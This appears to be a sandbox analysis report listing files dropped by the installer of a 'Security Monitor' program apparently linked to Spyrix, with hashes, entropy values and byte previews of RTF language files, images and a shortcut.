Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\main.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\offer.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
